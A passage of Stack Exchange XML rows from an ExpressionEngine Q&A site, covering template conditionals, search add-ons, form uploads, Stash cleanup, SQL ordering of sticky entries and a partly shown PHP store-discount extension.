  <row Id="26993" PostTypeId="2" ParentId="26991" CreationDate="2014-12-03T04:08:29.687" Score="0" Body="&lt;p&gt;I had a parse order issue when using mutiple plugins since the {if} would render before other ee calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just in case, please try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{background_colour_hex_number_6_d}' !=&quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7/difference-between-quoted-and-unquoted-comparison-syntax/&quot;&gt;Sometimes you have to add quotes.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2270" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-12-03T04:08:29.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26994" PostTypeId="1" AcceptedAnswerId="26995" CreationDate="2014-12-03T06:50:11.850" Score="0" ViewCount="197" Body="&lt;p&gt;This is probably only partly related to ee and more to do with server setup but I am hoping someone can help. Adding any conditional to my templates results in the following error: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined function EllisLab\ExpressionEngine\Library\Parser\Conditional\ctype_alpha()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on a local machine setup which is new. I am running AMPPS I did a phpinfo check and it does say --enable-ctype=shared so I am assuming ctype is installed. I have tried this with the server running both php 5.3.29 and 5.4.32 and both produce the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have even tried it with a conditional as simple as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;yes&quot; == &quot;yes&quot;}Do something{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2015-02-01T11:26:55.237" Title="any conditional causes fatal error" Tags="|conditionals|fatal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26995" PostTypeId="2" ParentId="26994" CreationDate="2014-12-03T07:06:35.130" Score="1" Body="&lt;p&gt;Sorry found the answer here. &lt;a href=&quot;https://stackoverflow.com/questions/24867361/problems-with-ampps&quot;&gt;https://stackoverflow.com/questions/24867361/problems-with-ampps&lt;/a&gt; even though it appears the extension is there apparently it is not and I had to check it off on the extensions page.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-12-03T07:06:35.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26997" PostTypeId="1" AcceptedAnswerId="27000" CreationDate="2014-12-03T12:48:52.233" Score="1" ViewCount="97" Body="&lt;p&gt;I have a Low Search form that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form result_page=&quot;search/results&quot;}&#xA;&#xA;&amp;lt;input name=&quot;search:title&quot; type=&quot;text&quot; value=&quot;&quot; placeholder=&quot;Title&quot;/&amp;gt;&#xA;&#xA;&amp;lt;select name=&quot;search:order-model&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Select a model&amp;lt;/option&amp;gt; &#xA;{exp:low_options:order-model parse=&quot;inward&quot;}&#xA;  {options}&amp;lt;option value=&quot;{option:value}&quot;&amp;gt;{option:value}&amp;lt;/option&amp;gt;{/options}&#xA;{/exp:low_options:order-model}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;input class=&quot;submit&quot; type=&quot;submit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The customer can search by title, model, or both. Now, for the title field I would like to use 'any' mode (return all entries that contain at list part of keyword) while for order-model field I need exact match (e.g. if user searches for m-200 it should omit km-2001 from seach results)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to achieve that. It looks like that is probably possible with filters, but what about search form?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-12-03T14:23:07.703" Title="Low Search in fields: combine different search_modes" Tags="|search|low-search|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26998" PostTypeId="1" CreationDate="2014-12-03T12:58:11.900" Score="0" ViewCount="74" Body="&lt;p&gt;When I try to open control panel with forwarding slash, then it shows me broken login page theme, but when I try to open it without using slash then it loads properly. I guess somewhere it is not fetching css path , but i am not able to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.abc.com/control&quot; rel=&quot;nofollow&quot;&gt;https://www.abc.com/control&lt;/a&gt; -- working&#xA;&lt;a href=&quot;https://www.abc.com/control/&quot; rel=&quot;nofollow&quot;&gt;https://www.abc.com/control/&lt;/a&gt; -- not working&lt;/p&gt;&#xA;" OwnerUserId="3846" LastActivityDate="2019-12-12T17:32:13.333" Title="Expression engine control panel theme not loading with forwarding slash" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26999" PostTypeId="2" ParentId="26986" CreationDate="2014-12-03T13:00:29.557" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;http://devot-ee.com/add-ons/member-categories&quot; rel=&quot;nofollow&quot;&gt;Member Categories&lt;/a&gt; module and let users assign themselves to the categories that they like using &lt;a href=&quot;http://www.intoeetive.com/docs/member_categories.html#assign&quot; rel=&quot;nofollow&quot;&gt;{exp:member_categories:form}&lt;/a&gt;  tag and then &lt;a href=&quot;http://www.intoeetive.com/docs/member_categories.html#related&quot; rel=&quot;nofollow&quot;&gt;display entries in their categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-12-03T13:00:29.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27000" PostTypeId="2" ParentId="26997" CreationDate="2014-12-03T13:59:28.967" Score="2" Body="&lt;p&gt;tl;dr: use &lt;code&gt;exact=&quot;search:order-model&quot;&lt;/code&gt; on your Results tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're not using the Keywords filter here, but the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt;. Hence, the search_mode parameter is not used; it's only used in conjunction with the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;Keywords filter&lt;/a&gt;. The Field Search filter is basically the native &lt;code&gt;search:field_name&lt;/code&gt; parameter on steroids, so you can mimic what you'd normally do with such a parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this: &lt;code&gt;search:order-model=&quot;=m-200&quot;&lt;/code&gt; would look for exactly the value &quot;m-200&quot; in the target field. This is the same as using &lt;code&gt;search:order-model=&quot;m-200&quot; exact=&quot;search:order-model&quot;&lt;/code&gt;, which you can split up with LS into a form field and parameter on the Results tag. You've got the former param as a dropdown in your form, so you should add the latter to the Results tag.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2014-12-03T14:23:07.703" LastActivityDate="2014-12-03T14:23:07.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27002" PostTypeId="1" CreationDate="2014-12-03T15:03:23.517" Score="0" ViewCount="165" Body="&lt;p&gt;I've configured a channel form with the goal of receiving applications for employment. Part of this process means the user should have the ability to upload a pdf or word document to the channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the form only accepts image uploads. If a user chooses a pdf or word doc I get an error that the file type is not accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My set up is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;job_application&quot; logged_out_member_id=&quot;2&quot; include_jquery=&quot;no&quot; include_assets=&quot;no&quot; json=&quot;yes&quot; return=&quot;/contact-us/careers&quot;}&#xA;&amp;lt;label for=&quot;applicant_resume&quot;&amp;gt;Upload your resum&amp;amp;eacute;&amp;lt;/label&amp;gt;&#xA;&amp;lt;input id=&quot;applicant_resume&quot; name=&quot;applicant_resume&quot; type=&quot;file&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Channel Field&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allowed file type: All&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allowed directory: Resumes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File Upload Preferences&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Allowed File Types: All file types&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;XSS Filtering: Off&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried uploading as a guest, logged in as a Client, logged in as a Super Admin and no difference. Curiously, I can log into the admin area and manage pdfs, docs, etc just fine. The error only happens with Channel Form.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastEditorUserId="1085" LastEditDate="2014-12-03T17:01:42.297" LastActivityDate="2016-06-07T00:59:25.150" Title="Channel Form only accepting Image Uploads" Tags="|safecracker|file-uploads|file-manager|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27003" PostTypeId="2" ParentId="26063" CreationDate="2014-12-03T18:02:49.800" Score="0" Body="&lt;p&gt;I was able to duplicate this as well. As a temporary workaround, just comment out all 4 blocks of code that reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (version_compare($this-&amp;gt;aob-&amp;gt;ee_version, '2.6.0', '&amp;lt;'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will solve the problem and the errors will not display anymore. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your convenience I will respond to your official support ticket at Solspace.com with a patched file. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-12-03T18:02:49.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27005" PostTypeId="2" ParentId="26863" CreationDate="2014-12-03T20:38:23.967" Score="0" Body="&lt;p&gt;I am working on a very similar case atm. I think I have just found the solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;{if '{exp:cartthrob:cart_total prefix=&quot;&quot;}' &amp;gt; 0}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of: &lt;code&gt;{if &quot;{exp:cartthrob:cart_total}&quot; &amp;gt; 0}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://cartthrob.com/forums/viewthread/4575/#24492&quot; rel=&quot;nofollow&quot;&gt;this reply&lt;/a&gt; in the CT forums for further reference.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-12-03T20:38:23.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27006" PostTypeId="1" CreationDate="2014-12-03T20:42:37.520" Score="0" ViewCount="56" Body="&lt;p&gt;I have a supersearch tag that is searching through my channel which includes a playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results&#xA;    channel=&quot;articles&quot;&#xA;    limit=&quot;3&quot;&#xA;    search_in=&quot;title|speakers&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The speakers tag is a Playa field (containing just a first_name and last_name) and the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that my playa field is not being search, even though I have it set to searchable in the channel_field settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what's going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="3243" LastActivityDate="2014-12-03T20:42:37.520" Title="SuperSearch not searching Playa field" Tags="|playa|solspace|search|supersearch|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27007" PostTypeId="1" CreationDate="2014-12-03T22:03:23.947" Score="0" ViewCount="80" Body="&lt;p&gt;I can't understand how to made URL structure for page For eg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/template_group/temlate1/template2/template3&quot; rel=&quot;nofollow&quot;&gt;http://site.com/template_group/temlate1/template2/template3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/reviews/best&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/reviews/best&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In admin panel, at template group services we have 4 templates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index cleaning reviews best&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every template have url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/index/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/index/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/reviews/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/reviews/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/best/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/best/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display some templates like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/reviews/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/reviews/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/reviews/best/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/reviews/best/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i need to type into template routes for template? &lt;/p&gt;&#xA;" OwnerUserId="3683" LastActivityDate="2014-12-04T01:06:16.060" Title="Template routes" Tags="|ee2|ee|" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-16T21:56:02.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="27009" PostTypeId="2" ParentId="27007" CreationDate="2014-12-04T01:06:16.060" Score="0" Body="&lt;p&gt;This should be easy enough to complete using something similar to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1==&quot;services&quot;}&#xA;  {if segment_2==&quot;cleaning&quot;}&#xA;    {if segment_3==&quot;reviews&quot;}&#xA;      {if segment_4==&quot;best&quot;}&#xA;Content of the best review&#xA;      {if:elseif segment_4==&quot;&quot;}&#xA;Content of all reviews&#xA;      {/if}&#xA;    {if:elseif segment_3==&quot;&quot;}&#xA;Content of cleaning page&#xA;    {/if}&#xA;  {if:elseif segment_2==&quot;&quot;}&#xA;Content of Services Page&#xA;  {/if}&#xA;{if:elseif segment_1==&quot;&quot;}&#xA;Content of home page&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it's just a case of properly formatting your navigation&lt;/p&gt;&#xA;" OwnerUserId="2455" LastActivityDate="2014-12-04T01:06:16.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27010" PostTypeId="2" ParentId="26558" CreationDate="2014-12-04T01:37:31.563" Score="0" Body="&lt;p&gt;I had the same issue with no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up making the channel fields text and controlling the text input using a checkbox on the front end.&lt;/p&gt;&#xA;" OwnerUserId="2455" LastActivityDate="2014-12-04T01:37:31.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27011" PostTypeId="1" AcceptedAnswerId="27013" CreationDate="2014-12-04T05:18:40.200" Score="0" ViewCount="145" Body="&lt;p&gt;I'm using the query module, to return a list of entries sorted alphabetically, but there are a few sticky entries that I need to appear at the top of the list, and the stickies are being ignored.Here is my query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT entry_id AS rel_entry_id, title AS rel_title, (SELECT rel_child_id FROM exp_relationships WHERE rel_id = '{select-location}' LIMIT 1) AS rel_child_id FROM exp_channel_titles WHERE channel_id IN (5, 7) AND status='Open' ORDER BY title ASC &quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried adding sticky to my select, and 'sticky, title' to the ORDER BY parameter, but it didn't work. Is there a way to get it working?&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2014-12-04T10:41:15.520" Title="Custom query ignoring sticky entries" Tags="|query|orderby|query-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27012" PostTypeId="1" CreationDate="2014-12-04T10:06:19.487" Score="0" ViewCount="74" Body="&lt;p&gt;Hello I am thinking about the url structure of a photo gallery website and could use a little advice on the subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each entry in expression engine we would have a url_title like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;photos/holiday/beautiful-sunset-at-the-beach&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This url structure is fantastic for search engines but not so good for duplications. If I was to add a new image adding to say a 2000 collection there is a likely possibility of a duplicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my thoughts are to use an add-on such as MX Title Control CE to append the entry ID like so as a pattern for photos:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;photos/holiday/beautiful-sunset-at-the-beach-4576&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way every entry would be unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are your thoughts on this? I can see that iStock follow a similar approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would value a professional opinion regarding future proofing the setup and from an SEO standpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trevor&lt;/p&gt;&#xA;" OwnerUserId="3842" LastActivityDate="2016-05-14T03:36:54.703" Title="url_title and SEO using MX Title Control CE" Tags="|url-title|seo|querystring|mx-title-control|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27013" PostTypeId="2" ParentId="27011" CreationDate="2014-12-04T10:41:15.520" Score="4" Body="&lt;p&gt;try to add &lt;strong&gt;sticky DESC&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT entry_id AS rel_entry_id, title AS rel_title, (SELECT rel_child_id FROM exp_relationships WHERE rel_id = '{select-location}' LIMIT 1) AS rel_child_id FROM exp_channel_titles WHERE channel_id IN (5, 7) AND status='Open' ORDER BY sticky DESC, title ASC &quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-12-04T10:41:15.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27014" PostTypeId="2" ParentId="27012" CreationDate="2014-12-04T10:48:59.437" Score="0" Body="&lt;p&gt;Perhaps I'm not understanding the problem but you seem to be conflating the Entry title, and url_title of the entries. You'll find that EE will append a number to the url title of any identically titled entries within the same channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From an SEO standpoint are you talking about the URL (which would be unique by it's very nature) or the Meta title of the 'page' that displays the image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MX Title control will change the title of the entry but if you're only concern is what's being displayed on the front-end templates (say within an H1 tag) then you could simply append the entry id when you output the entries info.&#xA;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{title}-{entry_id}&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same could be done when you output the meta title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to consider something like &lt;a href=&quot;http://devot-ee.com/add-ons/seolite&quot; rel=&quot;nofollow&quot;&gt;SEO Lite&lt;/a&gt; which makes adding custom Meta data simpler.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-12-04T10:48:59.437" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27015" PostTypeId="1" AcceptedAnswerId="27018" CreationDate="2014-12-02T23:26:24.367" Score="0" ViewCount="149" Body="&lt;p&gt;I have just started using solspace freeform pro. I created a contact form with about 30 fields in it using the composer template of freeform pro module in expressionengine. I did this by creating the fields I need and them in the composer I just dragged and dropped them. Now I want to add some conditional statements to the fields such that selecting a checkbox shows some fields else those fields remain hidden. I want to edit the code for this form in sublime but am unable to locate the file. Can someone please help me where to find the file in my FTP client software. I am also unable to figure out how to put this form on my website. &#xA;I am sorry if this question is too basic but I have been trying to find something on google for past few days but have no luck. Any help in the right direction will be greatly appreciated.&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3850" OwnerDisplayName="developer" LastActivityDate="2014-12-04T15:09:35.040" Title="How to edit forms created using solspace freeform pro composer template in sublime" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27016" PostTypeId="1" AcceptedAnswerId="27022" CreationDate="2014-12-04T11:35:21.340" Score="0" ViewCount="66" Body="&lt;p&gt;I'm using stash fairly heavily in an addon and creating user scoped stash variables. All worked great but I'm finding that my exp_stash db table is growing and growing without any rows ever expiring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting I'm missing somewhere or is buying Mustash the only way to prune the exp_stash table (other than writing an addon myself and triggering it with cron).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-12-04T21:20:00.937" Title="exp_stash rows aren't being expired / deleted" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27018" PostTypeId="2" ParentId="27015" CreationDate="2014-12-04T15:09:35.040" Score="1" Body="&lt;p&gt;I figured it out. I was confused earlier but after reading the docs carefully on the solspace website it was much clear. I just created a template in expressionengine, added the freeform tags and used the fields created in freeform module. It works perfectly now. I also used jquery for hiding/showing some fields.&lt;/p&gt;&#xA;" OwnerUserId="3850" LastActivityDate="2014-12-04T15:09:35.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27021" PostTypeId="1" CreationDate="2014-12-04T19:51:52.380" Score="1" ViewCount="87" Body="&lt;p&gt;I'm getting a conflict when using Playa with Zurb Foundation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the playa field in a exp:channel:form tag and it works fine in the current site, which doesn't use foundation, but in the responsive site that I'm building using Zurb Foundation framework, Playa just seems to hang the page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking the Playa field out, the page loads and behaves fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking the foundation.css out the page loads and behaves fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting them together and everything slows down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone come across this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy D&lt;/p&gt;&#xA;" OwnerUserId="3852" LastActivityDate="2016-06-16T04:13:45.683" Title="Playa not playing with Zurb Foundation css" Tags="|playa|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27022" PostTypeId="2" ParentId="27016" CreationDate="2014-12-04T21:20:00.937" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Mustash&quot; rel=&quot;nofollow&quot;&gt;Mustash&lt;/a&gt; is not the only way but it is the most flexible and granular way I can think of. If you are using Stash for caching, Mustash will be your best solution in terms of establishing cache clearing rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said &lt;a href=&quot;https://github.com/domstubbs/ee-stash-breaker&quot; rel=&quot;nofollow&quot;&gt;other, possibly more &quot;brutal&quot;&lt;/a&gt;, solutions exist that might fit your needs too. These make good use of the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Using-stash-methods-in-your-own-add-ons#unset--destroy&quot; rel=&quot;nofollow&quot;&gt;Stash Unset/Destro methods&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-12-04T21:20:00.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27023" PostTypeId="2" ParentId="27021" CreationDate="2014-12-04T22:37:56.027" Score="0" Body="&lt;p&gt;I'm using Playa and Zurb Foundation without problem. Try to verify if no have conflict between css class, id in the both css files. For sure there could have hierarchy problems, or class or id with the same name in the both css files (Zurb and Playa).&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-12-04T22:37:56.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27025" PostTypeId="1" CreationDate="2014-12-05T12:23:35.607" Score="0" ViewCount="415" Body="&lt;p&gt;In order to calculate a discount based on quantity of items in the cart that will take in consideration also the different weight of modifiers (suppose I sell the same product in different containers weighing from 1 to 210kg), I came up with an extension which grabs the $item-&gt;$item_qty at every order update, multiplies that value with the $item-&gt;sku, adds to the total of Kg being orderd and, based on a table of different discounts hardcoded with conditionals in the extension's php file, calculates the discount to be applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to pass the $order-&gt;$order_discount to the actual order.&#xA;When I submit the form, the order total doesn't take into account the calculated discount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/**&#xA; * Store Discount Extension&#xA; *&#xA; * @package     ExpressionEngine&#xA; * @subpackage  Addons&#xA; * @category    Extension&#xA; * @author      Milksamsa&#xA; * @link        http://&#xA; */&#xA;&#xA;class Store_discount_ext {&#xA;&#xA;public $settings        = array();&#xA;public $description     = 'Force discount based on item quantity and SKU multiplier';&#xA;public $docs_url        = 'http://';&#xA;public $name            = 'SKUdiscount';&#xA;public $settings_exist  = 'n';&#xA;public $version         = '1.0';&#xA;&#xA;private $EE;&#xA;&#xA;/**&#xA; * Constructor&#xA; *&#xA; * @param   mixed   Settings array or empty string if none exist.&#xA; */&#xA;public function __construct($settings = '')&#xA;{&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $this-&amp;gt;settings = $settings;&#xA;}&#xA;&#xA;// ----------------------------------------------------------------------&#xA;&#xA;/**&#xA; * Activate Extension&#xA; *&#xA; * This function enters the extension into the exp_extensions table&#xA; *&#xA; * @see http://codeigniter.com/user_guide/database/index.html for&#xA; * more information on the db class.&#xA; *&#xA; * @return void&#xA; */&#xA;public function activate_extension()&#xA;{&#xA;    // Setup custom settings in this array.&#xA;    $this-&amp;gt;settings = array();&#xA;&#xA;    // Add hooks&#xA;    $data = array(&#xA;        'class'     =&amp;gt; __CLASS__,&#xA;        'method'    =&amp;gt; 'update_cart',&#xA;        'hook'      =&amp;gt; 'store_order_recalculate_end',&#xA;        'settings'  =&amp;gt; serialize($this-&amp;gt;settings),&#xA;        'priority'  =&amp;gt; 10,&#xA;        'version'   =&amp;gt; $this-&amp;gt;version,&#xA;        'enabled'   =&amp;gt; 'y'&#xA;    );&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;}&#xA;&#xA;// ----------------------------------------------------------------------&#xA;&#xA;/**&#xA; * Disable Extension&#xA; *&#xA; * This method removes information from the exp_extensions table&#xA; *&#xA; * @return void&#xA; */&#xA;function disable_extension()&#xA;{&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;delete('extensions');&#xA;}&#xA;&#xA;// ----------------------------------------------------------------------&#xA;&#xA;/**&#xA; * Update Extension&#xA; *&#xA; * This function performs any necessary db updates when the extension&#xA; * page is visited&#xA; *&#xA; * @return  mixed   void on update / false if none&#xA; */&#xA;function update_extension($current = '')&#xA;{&#xA;    if ($current == '' OR $current == $this-&amp;gt;version)&#xA;    {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('class', __CLASS__);&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update(&#xA;                'extensions',&#xA;                array('version' =&amp;gt; $this-&amp;gt;version)&#xA;    );&#xA;}&#xA;&#xA;// ----------------------------------------------------------------------&#xA;&#xA;/**&#xA; * Responds to the store_cart_update_end hook in Exp:resso Store&#xA; * to apply a discount to each product, as needed&#xA; *&#xA; * @return array of cart items&#xA; */&#xA;function update_cart($order)&#xA;{&#xA;&#xA;    if 